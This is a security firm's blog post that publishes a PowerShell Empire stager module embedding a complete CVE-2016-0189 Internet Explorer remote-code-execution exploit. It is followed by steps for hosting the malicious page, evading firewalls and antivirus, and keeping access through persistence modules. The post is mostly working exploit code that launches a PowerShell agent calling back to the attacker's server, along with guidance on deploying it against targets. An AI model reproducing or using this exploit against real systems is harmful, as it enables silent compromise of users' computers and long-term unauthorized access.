Powershell Empire + CVE-2016-0189 = Profit

Social Engineering – Our Take
18th August 2016
Performance Tuning Burp Suite
31st January 2017
Show all

Powershell Empire + CVE-2016-0189 = Profit

Powershell Empire is one of our all time favourite tools for engagements where targeting users is in scope, however we generally use a combination of Metasploit and Empire to get the job done, using browser exploits in conjunction with the standard stagers included with Empire.

On a recent test we did not have the option to use MSF, instead we hacked together a new stager for Empire which would leverage CVE-2016-0189 (also known as vbscript_godmode) to target users of Internet explorer 9 – 11. This has been our go-to exploit for 6 or so months and has recently started hitting exploit kits. If successful, powershell will be launched and an agent will connect back to Empire. Nothing will be dropped on disk.

from lib.common import helpers

class Stager:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'MS16-051 IE RCE',

            'Author': ['www.cgsec.co.uk'],

            'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),

            'Comments': [
                'Target will have to open link with vulnerable version of IE.'
            ]
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener' : {
                'Description'   :   'Listener to generate stager for.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'StagerRetries' : {
                'Description'   :   'Times for the stager to retry connecting.',
                'Required'      :   False,
                'Value'         :   '0'
            },
            'OutFile' : {
                'Description'   :   'File to output HTML to, otherwise displayed on the screen.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Base64' : {
                'Description'   :   'Switch. Base64 encode the powershell output.',
                'Required'      :   True,
                'Value'         :   'True'
            },            
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value


    def generate(self):

        # extract all of our options
        listenerName = self.options['Listener']['Value']
        base64 = self.options['Base64']['Value']
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']

        encode = False
        if base64.lower() == "true":
            encode = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)

        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
			code =  "<html>\n"
			code += "<head>\n"
			code += "<meta http-equiv=\"x-ua-compatible\" content=\"IE=10\">\n"
			code += "</head>\n"
			code += "<body>\n"
			code += "    <script type=\"text/vbscript\">\n"
			code += "        Dim aw\n"
			code += "        Dim plunge(32)\n"
			code += "        Dim y(32)\n"
			code += "        prefix = \"%u4141%u4141\"\n"
			code += "        d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"\n"
			code += "        b = String(64000, \"D\")\n"
			code += "        c = d & b\n"
			code += "        x = UnEscape(c)\n"
			code += "		\n"
			code += "        Class ArrayWrapper\n"
			code += "            Dim A()\n"
			code += "            Private Sub Class_Initialize\n"
			code += "                  ReDim Preserve A(1, 2000)\n"
			code += "            End Sub\n"
			code += "			\n"
			code += "            Public Sub Resize()\n"
			code += "                ReDim Preserve A(1, 1)\n"
			code += "            End Sub\n"
			code += "        End Class\n"
			code += "		\n"
			code += "        Class Dummy\n"
			code += "        End Class\n"
			code += "		\n"
			code += "        Function getAddr (arg1, s)\n"
			code += "            aw = Null\n"
			code += "            Set aw = New ArrayWrapper\n"
			code += "		\n"
			code += "            For i = 0 To 32\n"
			code += "                Set plunge(i) = s\n"
			code += "            Next\n"
			code += "		\n"
			code += "            Set aw.A(arg1, 2) = s\n"
			code += "		\n"
			code += "            Dim addr\n"
			code += "            Dim i\n"
			code += "            For i = 0 To 31\n"
			code += "                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then\n"
			code += "                   addr = strToInt(Mid(y(i), 3 + 4, 2))\n"
			code += "                End If\n"
			code += "                y(i) = Null\n"
			code += "            Next\n"
			code += "		\n"
			code += "            If addr = Null Then\n"
			code += "                document.location.href = document.location.href\n"
			code += "                Return\n"
			code += "            End If\n"
			code += "            getAddr = addr\n"
			code += "        End Function\n"
			code += "		\n"
			code += "        Function leakMem (arg1, addr)\n"
			code += "            d = prefix & \"%u0008%u4141%u4141%u4141\"\n"
			code += "            c = d & intToStr(addr) & b\n"
			code += "            x = UnEscape(c)\n"
			code += "		\n"
			code += "            aw = Null\n"
			code += "            Set aw = New ArrayWrapper\n"
			code += "		\n"
			code += "            Dim o\n"
			code += "            o = aw.A(arg1, 2)\n"
			code += "		\n"
			code += "            leakMem = o\n"
			code += "        End Function\n"
			code += "		\n"
			code += "        Sub overwrite (arg1, addr)\n"
			code += "            d = prefix & \"%u400C%u0000%u0000%u0000\"\n"
			code += "            c = d & intToStr(addr) & b\n"
			code += "            x = UnEscape(c)\n"
			code += "		\n"
			code += "            aw = Null\n"
			code += "            Set aw = New ArrayWrapper\n"
			code += "		\n"
			code += "		\n"
			code += "            aw.A(arg1, 2) = CSng(0)\n"
			code += "        End Sub\n"
			code += "		\n"
			code += "        Function exploit (arg1)\n"
			code += "            Dim addr\n"
			code += "            Dim csession\n"
			code += "            Dim olescript\n"
			code += "            Dim mem\n"
			code += "		\n"
			code += "		\n"
			code += "            Set dm = New Dummy\n"
			code += "		\n"
			code += "            addr = getAddr(arg1, dm)\n"
			code += "		\n"
			code += "            mem = leakMem(arg1, addr + 8)\n"
			code += "            csession = strToInt(Mid(mem, 3, 2))\n"
			code += "		\n"
			code += "            mem = leakMem(arg1, csession + 4)\n"
			code += "            olescript = strToInt(Mid(mem, 1, 2))\n"
			code += "            overwrite arg1, olescript + &H174\n"
			code += "	    Set Object = CreateObject(\"Wscript.Shell\")\n"
			code +=	"		Object.run(\""
			code += 		launcher + 	"\")\n"
			code += "        End Function\n"
			code += "		\n"
			code += "        Function triggerBug\n"
			code += "            aw.Resize()\n"
			code += "            Dim i\n"
			code += "            For i = 0 To 32\n"
			code += "                ' 24000x2 + 6 = 48006 bytes\n"
			code += "                y(i) = Mid(x, 1, 24000)\n"
			code += "            Next\n"
			code += "        End Function\n"
			code += "    </script>\n"
			code += "		\n"
			code += "    <script type=\"text/javascript\">\n"
			code += "        function strToInt(s)\n"
			code += "        {\n"
			code += "            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);\n"
			code += "        }\n"
			code += "        function intToStr(x)\n"
			code += "        {\n"
			code += "            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);\n"
			code += "        }\n"
			code += "        var o;\n"
			code += "        o = {\"valueOf\": function () {\n"
			code += "                triggerBug();\n"
			code += "                return 1;\n"
			code += "            }};\n"
			code += "        setTimeout(function() {exploit(o);}, 50);\n"
			code += "    </script>\n"
			code += "</body>\n"
			code += "</html>"

	return code
ms16.py

First we will grab Empire, available on Github.

Empire Downloading

Now we have Empire downloaded, we will install apache2 so we can throw the index page out directly to /var/www/html. This step is optional as most will want to alter the output, obfuscating it to evade AV’s or similar.

Installing Apache2

Time to add our new stager, these are located in /lib/stagers and running the Empire install.sh script to get it up and running. If you are running Ubuntu, you will need to manually install pip before running this script.

Empire Installation

Now we are ready to start Empire for the first time. If everything is well we should be able to “usestager ms16”, set our output file to /var/www/html/index.html and be ready to direct targets to it. More advanced users may want to set up something slightly more elaborate to serve different vectors to different clients or obfuscate the exploit, this is outside the scope of this article however.

My personal preference is to set the listener to port 443 in hopes of bypassing certain firewalls and evading some detection mechanisms.

Empire Listener

Now to generate our malicious HTML.

Stager Generation

Now when your server is visited by somebody with a vulnerable browser, the exploit should trigger and you will be presented with a new agent in Empire. It is normally a good idea to use the persistence modules to create a scheduled task or similar to ensure you do not lose access on reboot. These can be set to automatically run as a new client connects by setting the Agent to autorun.

New Agent

 

Update : The code is now on GitHub : https://github.com/CrossGroupSecurity/PowerShell-MS16-051-IE-RCE . Feel free to send a pull request with any changes or fork the code.

4 Comments

  1. Chaitanya says:

    thanks 😛 but i’ve noticed IE 6.0 is vuln as well ahaha

  2. POWERSHELL EMPIRE + CVE-2016-0189 = PROFIT-MottoIN says:

    […] *原文:cgsec  zeroyu原创翻译,未经允许不得转载 […]

  3. POWERSHELL EMPIRE + CVE-2016-0189 = PROFIT - G-Crew says:

    […] *原文:cgsec  zeroyu原创翻译,未经允许不得转载 […]

  4. johnny says:

    Great post !

    Getting the following error on Empire console:

    (Empire) > —————————————-
    Exception happened during processing of request from (‘123.123.123.123’, 60107)
    Traceback (most recent call last):
    File “/usr/lib/python2.7/SocketServer.py”, line 295, in _handle_request_noblock
    self.process_request(request, client_address)
    File “/usr/lib/python2.7/SocketServer.py”, line 321, in process_request
    self.finish_request(request, client_address)
    File “/usr/lib/python2.7/SocketServer.py”, line 334, in finish_request
    self.RequestHandlerClass(request, client_address, self)
    File “/usr/lib/python2.7/SocketServer.py”, line 657, in __init__
    self.finish()
    File “/usr/lib/python2.7/SocketServer.py”, line 716, in finish
    self.wfile.close()
    File “/usr/lib/python2.7/socket.py”, line 279, in close
    self.flush()
    File “/usr/lib/python2.7/socket.py”, line 303, in flush
    self._sock.sendall(view[write_offset:write_offset+buffer_size])
    error: [Errno 32] Broken pipe
    —————————————-

    any help?

Leave a Reply

%d bloggers like this: